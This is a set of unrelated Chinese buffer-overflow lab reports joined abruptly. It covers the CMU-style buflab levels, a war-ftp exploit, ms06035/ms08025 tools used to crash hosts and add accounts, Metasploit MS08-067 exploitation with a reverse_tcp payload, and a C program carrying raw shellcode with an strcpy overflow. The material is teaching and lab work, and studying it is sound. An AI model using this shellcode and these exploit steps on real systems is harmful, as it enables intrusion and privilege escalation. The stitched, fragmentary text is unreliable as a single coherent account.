实验4 缓冲区溢出攻击实验
缓冲区溢出攻击实验

HUNAN UNIVERSITY课程实验报告题目: Buflab-handout学生姓名学生学号专业班级计科1403(一)实验环境联想ThinkPadE540 VM虚拟机ubuntu32位操作系统(二)实验准备1.使用tar xvf命令解压文件后,会有3个可执行的二进制文件bufbomb,hex2raw,makecookie。
bufbomb运行时会进入getbuf函数,其中通过调用Gets函数读取字符串。
要求在已知缓冲区大小的情况下对输入的字符串进行定制完成特定溢出操作。
从给的PDF文件中我们得知getbuf函数为:/ /Buffer size for getbuf#define NORMAL_BUFFER_SIZE 32int getbuf(){char buf[NORMAL_BUFFER_SIZE];Gets(buf);return 1;}这个函数的漏洞在于宏定义的缓冲区的大小为32,若输入的字符串长于31(字符串末尾结束符)则会导致数据的覆盖,从而导致一系列损失;在此实验中,我们正是利用这个漏洞来完成实验。
2. hex2raw可执行文件就是将给定的16进制的数转成二进制字节数据。
Makecookie是产生一个userid。
输入的相应的用户名产生相应的cookie值。
**我产生的cookie值为0x5eb52e1c,如下图所示:Level0:实验要求:从英文的PDF文件中的“Your task is to get BUFBOMB to execute the code for smoke when getbuf executes its return statement,rather than returning to test. Note that your exploit string may also corrupt parts of the stack not directlyrelated to this stage, but this will not cause a problem, since smoke causes the program to exit directly.”这句话看出实验让我们在test运行完后,不直接退出,而是跳到smoke函数处执行然后退出,这点很重要!(本人之前一直没有成功就是错在这儿)Test源码:void test(){int val;// Put canary on stack to detect possible corruptionvolatile int local = uniqueval();val = getbuf();// Check for corrupted stackif (local != uniqueval()) {printf("Sabotaged!: the stack has been corrupted\n");}else if (val == cookie) {printf("Boom!: getbuf returned 0x%x\n", val);validate(3);} else {printf("Dud: getbuf returned 0x%x\n", val);}}smoke源码:void smoke(){printf("Smoke!: You called smoke()\n");validate(0);exit(0);}对bufbomb函数进行反汇编并获取getbuf函数的反汇编代码:从上面的汇编代码中我们可以得知,lea指令把buf的指针地址(-0x28(%ebp))传给了Gets()。
山东大学信息安全实验报告

山东大学软件学院信息安全导论课程实验报告学号:201300301385 姓名:周强班级: 2013级八班实验题目:缓冲区溢出实验实验学时:日期:实验目的:(1)了解缓冲区溢出的原理(2)利用缓冲区溢出现象构造攻击场景(3)进一步思考如何防范基于缓冲区溢出的攻击硬件环境:软件环境:WindowsXP操作系统VS2008实验步骤与内容:(1)了解缓冲区溢出的原理缓冲区溢出简单来说就是计算机对接收的输入数据没有进行有效的检测(理情况下是程序检测数据长度并不允许输入超过缓冲区长度的字符),向缓冲区内填充数据时超过了缓冲区本身的容量,而导致数据溢出到被分配空间之外的内存空间,使得溢出的数据覆盖了其他内存空间的数据。
看一个代码实例,程序如下:void function(char *str) {char buffer[16];strcpy(buffer,str);}上面的strcpy()将直接把str中的内容copy到buffer中。
这样只要str的长度大于16,就会造成buffer的溢出,使程序运行出错。
(2)利用缓冲区溢出现象构造攻击场景首先打开Microsoft Visual C++,新建工程和cpp文件,复制实验指导书的代码进行编译连接:单击运行按钮,然后第1次输入“zhouqianga”,第2次输入2个“ga”,即可看到输出“correct”。
按F10开始进行逐步调试:当第一次执行gets()函数之前,内存情况如下图所示在最新的版本中gets被认为是不安全的,gets从标准输入设备读字符串函数。
可以无限读取,不会判断上限,以回车结束读取,所以程序员应该确保buffer的空间足够大,以便在执行读操作时不发生溢出。
现在都被要求改为get_s。
来防止溢出。
如下图所示。
(3)学习例子程序2:数据被执行在xp系统下,直接运行Exploit-1.1.exe,如下图所示:但是在计算器下输入数字后,将计算器关闭,会出现如下对话框:当程序返回时,改变了程序入口地址,让其跳转并且执行cmd.exe calc.exe两个程序(打开计算器)并执行abc.bat批处理程序。
缓冲区溢出攻击与防范实验报告

实验六报告如图2所示的Windows 2000系统(虚拟机环境下)的计算机。
显然这2台计算机处于同一个网段中,可以相互通讯,win10系统用作攻击机,下面将在此系统上运行Metasploit进行渗透测试,而Windows 2000系统都是本次任务中需要进行渗透入侵的靶机,保持安装后的默认状态,没有打额外的系统安全补丁。
图1 win10攻击机图2 Windows 2000 靶机2、扫描靶机在正式开始渗透之前,应该对靶机进行扫描探测工作,搞清楚渗透目标的系统类型、开放的端口服务、可能存在的安全漏洞等。
在win10攻击机上运行metasploit console,即可进入Metasploit环境。
现在可以利用MSF框架中集成的Nmap扫描器对渗透测试目标进行扫描,如图3所示,获取了靶机的开放服务和操作系统类型等信息。
图3 windows 2000扫描结果利用扫描器的脚步插件,还有可能直接探测出目标系统的安全漏洞,例如如图4所示,Nmap 利用smb-check-vulns插件扫描探测出了Windows 2000靶机存在MS08_067漏洞,命令执行如下:nmap -script= 。
namap扫描的结果里报告发现MS08-067:DISABLED。
这是在暗示我们或许能够对这台主机进行渗透攻击,然后我们在Metasloit里面找到此漏洞的攻击模块,并尝试攻击目标机器。
MS08-067是一个对操作系统版本依赖非常高的漏洞,所以在这里,我们只自动payload指定一下目标就可以确保触发正确的溢出代码。
图4漏洞扫描结果3利用MS08_067漏洞渗透入侵MS08-067漏洞的全称为“Windows Server服务RPC请求缓冲区溢出漏洞”,如果用户在受影响的系统上收到特制的RPC 请求,则该漏洞可能允许远程执行代码。
在Microsoft Windows 2000Windows XP 和Windows Server 2003 系统上,攻击者可能未经身份验证即可利用此漏洞运行任意代码,此漏洞可用于进行蠕虫攻击,目前已经有利用该漏洞的蠕虫病毒。
网络攻击与防范实验报告-缓冲区溢出

网络攻击与防范实验报告姓名:____王小北___ 学号:___ 201411111111111111 _ 所在班级:实验名称:缓冲区溢出实验日期:2014年11月7日指导老师:实验评分:验收评语:实验目的:1.掌握缓冲区溢出的原理2.掌握常用的缓冲区溢出方法3.理解缓冲区溢出的危害性4.掌握防范和避免缓冲区溢出攻击的方法实验工具:溢出对象:war-ftp 1.65 ( 自己分析)调试工具:Debugging Tools for Windows 中(网上有下载)实验环境:虚拟机vmware workstation 10 Windows XP sp1高级语言编程:Socket编程VS2010实验步骤:原理:war-ftp 1.65版本的一个漏洞,即向服务器发送超过480字节的用户名可以触发漏洞(即使用命令USER longString\r\n),溢出之后ESP内容包含了longString中的部分内容。
过程:攻击者向war-ftp发送多余480字节的用户名,触发war-ftpd的漏洞,产生缓冲区溢出,此时war-ftpd将出现错误。
接下来通过PatterntTool工具构造的一串不重复字符串(1000个不同字符串,存入test.txt中),通过其时eip的内容,利用patternoffset.pl工具来确定RET的位置。
在网上寻找一段具有攻击效果的Shellcode,作为所发送的war-ftpd用户名。
其最主要是通过上边所确定的RET的位置,将“JMP ESP”指令的地址(0x7ffa4512)传递到RET 位置,最终目的是将指令指针转移到esp的位置。
同时我们可以通过确定esp的位置,从而在构造字符串时直接将shellcode代码加在在用户名上,使其能直接被放入esp所指的位置,即达到将其放入esp指向的缓冲区的目的。
通过发送构造的用户名,导致war-ftpd发生缓冲区溢出。
Shellcode的功能是建立一个新用户hack,可以用过net user命令来查看用户,最后发现攻击成功。
信息安全实验-缓冲区溢出-蒋智超

缓冲区溢出一、实验目的掌握缓冲区溢出攻击的现象掌握使用缓冲区溢出工具的方法二、实验步骤一.利用ms06035漏洞进行攻击1.进入“ms06035漏洞利用工具”目录主机A单击工具栏中“ms06035工具”按钮,进入“ms06035漏洞利用工具”工作目录。
2.查看当前目录内容主机A用dir命令查看当前目录中的内容,如下图所示:图4-1-1 工具目录中的内容上图中标注的“ms06035.exe”即为ms06035漏洞利用工具。
3.使用“ms06035工具”进行攻击主机A执行“ms06035.exe 主机B的ip 445”命令,发起对主机B的攻击。
4.主机B观察被攻击现象主机B被攻击后出现蓝屏死机的现象(实验结束,主机B用虚拟机“快照X”恢复实验环境)。
二.利用ms08025漏洞进行攻击以下步骤两主机互相攻击对方,操作相同,故以主机A为例说明实验步骤。
「注」主机B单击“ms08025工具”按钮,进入实验目录。
将ms08025.exe复制到D盘的根目录下,以便实验下一步进行。
1.telnet登录系统(1)主机A在命令行下使用telnet登录同组主机,当出现“您将要把您的密码信息送到Internet区内的一台远程计算机上,这可能不安全,您还要发送吗(y/n)”当出现此提示时,选择n,输入登录账号“student”,密码“123456”。
登录成功如下图所示。
图4-1-2 telnet登录(2)主机A依次输入“d:”|“dir”查看同组主机D盘根目录,“ms08025.exe”即为实验工具。
图4-1-3 实验工具2.使用系统命令添加用户主机A使用“net user student1 /add”命令来试添加一个用户“student1”,执行该命令,出现“发生系统错误5,拒绝访问”的提示,如下图所示:图4-1-4 使用系统命令添加用户请解释出现上述现象的原因:。
3.查看ms08025工具使用方法主机A在telnet命令行中输入“ms08025.exe”,查看工具的使用方法,如下图所示:图4-1-5 ms08025工具使用方法4.使用ms08025工具添加用户主机A执行“ms08025.exe "net user student1 /add"”命令,提示命令成功完成,证明用户student1成功添加,如下图所示:图4-1-6 使用ms08025工具添加用户5.查看用户信息主机A用命令“net user student1”查看用户student1的信息,发现用户student1创建成功,隶属于Users组。
缓冲区溢出攻击与防范实验报告

缓冲区溢出攻击与防范实验报告——计算机网络(2)班——V200748045黄香娥1·缓冲区溢出的概念:缓冲区溢出是指当计算机向缓冲区内填充数据位数时超过了缓冲区本身的容量溢出的数据覆盖在合法数据上,理想的情况是程序检查数据长度并不允许输入超过缓冲区长度的字符,但是绝大多数程序都会假设数据长度总是与所分配的储存空间想匹配,这就为缓冲区溢出埋下隐患.操作系统所使用的缓冲区又被称为"堆栈". 在各个操作进程之间,指令会被临时储存在"堆栈"当中,"堆栈"也会出现缓冲区溢出。
2·缓冲区溢出的危害:在当前网络与分布式系统安全中,被广泛利用的50%以上都是缓冲区溢出,其中最著名的例子是1988年利用fingerd漏洞的蠕虫。
而缓冲区溢出中,最为危险的是堆栈溢出,因为入侵者可以利用堆栈溢出,在函数返回时改变返回程序的地址,让其跳转到任意地址,带来的危害一种是程序崩溃导致拒绝服务,另外一种就是跳转并且执行一段恶意代码,比如得到shell,然后为所欲为。
3·缓冲区溢出原理:由一个小程序来看://test.c#include "stdio.h"#include "stdlib.h"#include "string.h"void overflow(void){char buf[10];strcpy(buf,"0123456789123456789");}//end overflowint main(void){overflow();return 0;}//end main按F11进入"Step into"调试模式,如下:按F11跟踪进入overflow,让程序停在6,现在再看一下几个主要参数:esp=0x0012ff30,eip发生了变化,其它未变。
缓冲区溢出漏洞实验

缓冲区溢出漏洞实验⼀、实验简介缓冲区溢出是指程序试图向缓冲区写⼊超出预分配固定长度数据的情况。
这⼀漏洞可以被恶意⽤户利⽤来改变程序的流控制,甚⾄执⾏代码的任意⽚段。
这⼀漏洞的出现是由于数据缓冲器和返回地址的暂时关闭,溢出会引起返回地址被重写。
原理详解:缓冲区是内存中存放数据的地⽅。
在程序试图将数据放到机器内存中的某⼀个位置的时候,因为没有⾜够的空间就会发⽣缓冲区溢出。
⽽⼈为的溢出则是有⼀定企图的,攻击者写⼀个超过缓冲区长度的字符串,植⼊到缓冲区,然后再向⼀个有限空间的缓冲区中植⼊超长的字符串,这时可能会出现两个结果:⼀是过长的字符串覆盖了相邻的存储单元,引起程序运⾏失败,严重的可导致系统崩溃;另⼀个结果就是利⽤这种漏洞可以执⾏任意指令,甚⾄可以取得系统root特级权限。
缓冲区是程序运⾏的时候机器内存中的⼀个连续块,它保存了给定类型的数据,随着动态分配变量会出现问题。
⼤多时为了不占⽤太多的内存,⼀个有动态分配变量的程序在程序运⾏时才决定给它们分配多少内存。
如果程序在动态分配缓冲区放⼊超长的数据,它就会溢出了。
⼀个缓冲区溢出程序使⽤这个溢出的数据将汇编语⾔代码放到机器的内存⾥,通常是产⽣root权限的地⽅。
仅仅单个的缓冲区溢出并不是问题的根本所在。
但如果溢出送到能够以root权限运⾏命令的区域,⼀旦运⾏这些命令,那可就等于把机器拱⼿相让了。
通过往程序的缓冲区写超出其长度的内容,造成缓冲区的溢出,从⽽破坏程序的堆栈,进⽽运⾏精⼼准备的指令,以达到攻击的⽬的。
⼆、缓冲区溢出实例1、利⽤数组越界进⾏缓冲区溢出#include<stdio.h>void HelloWord(){printf("Hello World");getchar();}void Fun(){int arr[5] = {1,2,3,4,5};arr[6] = (int) HelloWord;}int main(){Fun();return 0;}2、利⽤strcpy()函数进⾏缓冲区溢出攻击#include "stdafx.h"#include <stdio.h>#include <string.h>char shellcode3[] = "\x68\x72\x6F\x63\x41\x68\x47\x65""\x74\x50\xE8\x41\x00\x00\x00\x50\x68\x4C\x69\x62\x72\x68\x4C\x6F""\x61\x64\xE8\x31\x00\x00\x00\x50\x68\x72\x74\x00\x00\x68\x6D\x73""\x76\x63\x54\xFF\xD0\x83\xC4\x08\x68\x65\x6D\x00\x00\x68\x73\x79""\x73\x74\x54\x50\xFF\x54\x24\x14\x83\xC4\x08\x68\x63\x6D\x64\x00""\x54\xFF\xD0\x83\xC4\x14\xEB\x67\x55\x8B\xEC\x64\xA1\x30\x00\x00""\x00\x8B\x40\x0C\x8B\x40\x14\x8B\x00\x8B\x70\x28\x80\x7E\x0C\x33""\x75\xF5\x8B\x40\x10\x8B\xF8\x03\x7F\x3C\x8B\x7F\x78\x03\xF8\x8B""\xDF\x8B\x7B\x20\x03\xF8\x33\xC9\x8B\x34\x8F\x03\xF0\x41\x8B\x54""\x24\x08\x39\x16\x75\xF2\x8B\x54\x24\x0C\x39\x56\x04\x75\xE9\x8B""\x7B\x24\x03\xF8\x8B\x0C\x4F\x81\xE1\xFF\xFF\x00\x00\x8B\x7B\x1C""\x03\xF8\x49\xC1\xE1\x02\x8B\x3C\x0F\x03\xC7\x5D\xC2\x08\x00";#pragma comment(linker, "/section:.data,RWE")void Sub_3(){__asm{mov eax, offset shellcode3jmp eax}}void overflow(const char* input){char buf[8];printf("Virtual address of 'buf' = Ox%p\n", buf);strcpy(buf, input);}void fun(){printf("Function 'fun' has been called without an explicitly invocation.\n");printf("Buffer Overflow attack succeeded!\n");}int main(){printf("Address of 'overflow' = Ox%p\n", overflow);printf("Sddress of 'fun' = Ox%p\n", fun);printf("Sddress of 'Sub3' = Ox%p\n", Sub_3);char input[] = "AAAbbbbbbaaa\xA5\x10\x41\x00";//char input[] = "AAAAAAA";overflow(input);return 0;}3、本次实验⽤的测试代码为:#include <stdio.h>int main(){char *name[2];name[0] = "/bin/sh";name[1] = NULL;execve(name[0], name, NULL);}⼀般情况下,缓冲区溢出会造成程序崩溃,在程序中,溢出的数据覆盖了返回地址。
缓冲溢出攻击实验报告

一、实验目的及要求1. 了解缓冲区溢出攻击的原理和类型。
2. 掌握缓冲区溢出攻击的实验方法和步骤。
3. 理解缓冲区溢出攻击的危害性。
4. 学习防范和避免缓冲区溢出攻击的方法。
二、实验环境1. 操作系统:Windows 102. 编程语言:C/C++3. 漏洞利用工具:Metasploit4. 实验环境搭建:使用虚拟机软件(如VMware)搭建实验环境,靶机为Windows 7 SP1,攻击机为Kali Linux。
三、实验内容1. 漏洞分析:分析实验环境中存在的缓冲区溢出漏洞。
2. 攻击实现:利用Metasploit工具对靶机进行攻击,实现远程代码执行。
3. 防御措施:学习防范和避免缓冲区溢出攻击的方法。
四、实验步骤1. 漏洞分析- 使用Ghidra工具对实验环境中的漏洞程序进行反汇编,分析程序中的缓冲区溢出漏洞。
- 发现漏洞程序存在缓冲区溢出漏洞,攻击者可以通过输入超长字符串来覆盖返回地址,从而控制程序的执行流程。
2. 攻击实现- 使用Metasploit工具中的`exploit/multi/handler`模块,设置攻击目标为靶机的IP地址和端口。
- 使用`set payload`命令设置攻击载荷,选择`windows/x64/meterpreter/reverse_tcp`,该载荷可以在攻击成功后与攻击机建立反向连接。
- 使用`set LHOST`命令设置攻击机的IP地址,使用`set LPORT`命令设置端口号。
- 使用`set target`命令设置攻击目标,选择漏洞程序的模块和参数。
- 使用`exploit`命令启动攻击,等待攻击成功。
3. 防御措施- 代码审计:对程序进行代码审计,及时发现并修复缓冲区溢出漏洞。
- 输入验证:对用户输入进行严格的验证,限制输入长度,防止输入超长字符串。
- 边界检查:在代码中添加边界检查,防止缓冲区溢出。
- 安全编程:遵循安全编程规范,使用安全的编程语言和库,避免使用存在漏洞的函数。
- 1、下载文档前请自行甄别文档内容的完整性,平台不提供额外的编辑、内容补充、找答案等附加服务。
- 2、"仅部分预览"的文档,不可在线预览部分如存在完整性等问题,可反馈申请退款(可完整预览的文档不适用该条件!)。
- 3、如文档侵犯您的权益,请联系客服反馈,我们会尽快为您处理(人工客服工作时间:9:00-18:30)。
深圳大学实验报告课程名称:计算机系统(2)
实验项目名称:缓冲区溢出攻击实验
学院:计算机与软件学院
专业:计算机科学与技术
指导教师:罗秋明
报告人:
实验时间:2016年5月8日
实验报告提交时间:2016年5月22日
教务处制
一、实验目标:
1.理解程序函数调用中参数传递机制;
2.掌握缓冲区溢出攻击方法;
3.进一步熟练掌握GDB调试工具和objdump反汇编工具。
二、实验环境:
1.计算机(Intel CPU)
2.Linux64位操作系统(CentOs)
3.GDB调试工具
4.objdump反汇编工具
三、实验内容
本实验设计为一个黑客利用缓冲区溢出技术进行攻击的游戏。
我们仅给黑客(同学)提供一个二进制可执行文件bufbomb和部分函数的C代码,不提供每个关卡的源代码。
程序运行中有3个关卡,每个关卡需要用户输入正确的缓冲区内容,否则无法通过管卡!
要求同学查看各关卡的要求,运用GDB调试工具和objdump反汇编工具,通过分析汇编代码和相应的栈帧结构,通过缓冲区溢出办法在执行了getbuf()函数返回时作攻击,使之返回到各关卡要求的指定函数中。
第一关只需要返回到指定函数,第二关不仅返回到指定函数还需要为该指定函数准备好参数,最后一关要求在返回到指定函数之前执行一段汇编代码完成全局变量的修改。
实验代码bufbomb和相关工具(sendstring/makecookie)的更详细内容请参考“实验四缓冲区溢出攻击实验.p ptx”。
本实验要求解决关卡1、2、3,给出实验思路,通过截图把实验过程和结果写在实验报告上。
四、实验步骤和结果
步骤1 返回到smoke()
1.1 解题思路
首先弄清楚getbuf()的栈帧结构,知道存放字符数组buf地址的单元和存放getbuf()返回地址的单元之间相差多少个字节。
假设两者之间相差x个字节。
然后找到smoke()函数的入口地址。
该值为4个字节。
再构造exploit.txt,前x个字节随意填,然后再填入4个字节的smoke()地址,注意是小端方式存储。
这样操作完成,就可以得到预期结果了。
1.2 解题过程
首先进入GDB对bufbomb进行调试,先在调用getbuf()处设置断点,然后运行。
注:此时的输入文件exploit_raw.txt文件中是随便填的,并不影响我调用smoke(),因为我会在gdb中使用set指令直接修改getbuf()的返回地址。
此时查看运行程序的调用栈帧结构,如下所示:
上图说明当getbuf()执行完后,会返回到test()函数中(返回到地址0x08048db2,我们要修改存放这个值的地址单元,改为smoke的入口地址值)。
分别进入getbuf和test的帧中,查看esp的值,如下所示,它们两个之间的差值就是getbuf的帧大小,为0x30。
查看getbuf()的汇编代码,可以知道函数getbuf()的帧(大小为0x30)的具体分配:返回地址4个字节,将%ebp压栈占去4个字节,然后esp减去0x28。
接着看方框2中的两条指令可知,是在为调用Gets()函数构造参数,它将ebp偏移-0x18处的地址作为Gets的参数,用作字符数组的buf地址。
具体的结构如下所示:
由getbuf
在还没有执行Gets()时查看getbuf()的帧结构里面存的值,如下所示:
黑色方框是gets()函数读取字符串所存放的地方,大小为12个字节,蓝色方框则是getbuf()的返回地址。
使用objdump查看函数smoke()的入口地址,如下所示:
由于我是随便填的exploit_raw.txt(但是肯定字符小于12个),肯定不会破坏缓冲区,getbuf执行完了只会返回调用它的函数test中。
但是我使用set指令将getbuf()的返回地址改成了smoke()的入口地址:
然后继续执行程序,getbuf()执行完就跳到smoke()函数中了,如下图所示:
执行正确!
现在已经知道了getbuf()具体的栈帧结构,就可以构造exploit.txt了
可以知道,至少要输入32个字符(即32个字节)才能把getbuf()的返回地址覆盖掉。
如下图所示:
其中前28个字节无所谓,可以随便填,但最后4个字节一定要是smoke()的开始地址0x08048eb0。
由于是采用小端方式存储,所以改地址要写成如下形式(低字节在前)。
再将exploit.txt转成exploit_raw.txt。
1.3 最终结果截图
程序成功地跳到了smoke()函数中:
步骤2 返回到fizz()并准备相应参数
2.1 解题思路
分析fizz()函数,得到它需要一个参数,为‘huanggang’的cookie值。
根据步骤1分析得到的getbuf栈帧结构,可以得到fizz()地址和cookie参数放在栈帧中的具体位置。
再获取fizz()函数的入口地址和‘huanggang’的cookie值,用于构造exploit.txt。
就可以运行了。
2.2 解题过程
Fizz()函数的汇编转为C语言大致如下:
即在调用fizz()函数之前,先要构造一个参数cookie,分析栈帧结构,如下所示。
Cookie参数存在存放fizz()入口地址的单元的上方。
所以我们构造exploit.txt时,需要36个字节,其中前28个随便填,第29到32个字节填fizz函数的入口地址值,第33到36字节填‘huanggang’生成的cookie值。
分别找出fizz()地址值和cookie值,如下所示:
接着构造exploit.txt,如下所示:
再将exploit.txt转成exploit_raw.txt。
2.3 最终结果截图
成功跳转到fizz()函数中。
步骤3 返回到bang()且修改global_value
3.1 解题思路
写一段将cookie值赋给global_value,并进入bang()函数的汇编指令,将其汇编再反汇编得到指令的二进制代码。
再将得到的二进制代码通过Gets()函数存到数组buf的缓冲区中,与此同时,修改getbuf()的返回地址为buf的地址(即插入代码的入口)。
Gets()得到的字符串包含注入代码,注入代码的入口,以及一些填充用的字符。
3.2 解题过程
先找出bang()函数的地址值、变量global_value和cookie的地址:
使用gdb进行调试,当运行到getbuf()里面,并将Gets()执行完后,使用set命令将函数getbuf()的返回地址值改为bang()的入口地址,并使用set 命令将global_value的值设为cookie值。
如下所示:
然后运行,函数跳转到bang()中,并且执行正确。
如下图所示:
程序运行情况已经了解,接下来就需要构建exploit.txt了。
使用自己注入的代码完成上面的set指令。
编写如下汇编代码,功能:将cookie值赋给global_value,然后进入函数bang ()中。
mov 0x0804ad4,%eax //把cookie值放到临时寄存器中
mov %eax,0x0804a1c4 //把临时寄存器中的值赋给global_value。
push $0x08048e10 //把bang()函数的入口地址压栈。
ret // 跳转到注入代码的首地址(即buf数组地址)
使用gcc将其编译成机器码,再使用objdump进行反汇编,操作如下:
注意:在使用gcc编译时加入-m32来要求生成32位机器码,再反汇编。
这样就得到了注入指令的机器码。
注入代码有16个字节,我们需要覆盖到buf地址开始后的32个字节,才能修改getbuf()的返回地址。
所以前16个字节为注入代码,中间12个字节为填充字节,随便填,最后4个字节填注入代码的入口地址,即数组buf的地址。
构造的exploit.txt文件如下:
Linux 内存地址有随机化机制,如果随机化机制打开,那么每次运行程序,
getbuf()函数中的字符数组buf地址无法确定(注入代码开始地址无法确定),这样的话,注入代码就无法正确写入跳转地址。
所以需要先关闭Linux 内存地址随机化机制,才能完成实验。
可以通过设置kernel.randomize_va_space内核参数来设置内存地址随机化的行为。
3.3 最终结果截图
成功将global_value值设置为cookie值:
五、实验总结与体会
通过本次实验,加深了对函数调用时堆栈情况的了解,
在步骤3中,开始怎么做也不对。
然后查询资料,发现Linux有内存地址随机化机制,因此在运行时,buf数组的首地址是不一样的,即注入代码首地址不能确定。
关闭内存地址随机化机制后,再来运行程序,就成功了。
说明有时你是做对了,只是环境没配置好,得出了错误的结果。
在编写程序时,一定要注意缓冲区的保护。
深圳大学学生实验报告用纸
注:1、报告内的项目或内容设置,可根据实际情况加以调整和补充。
2、教师批改学生实验报告时间应在学生提交实验报告时间后10日内。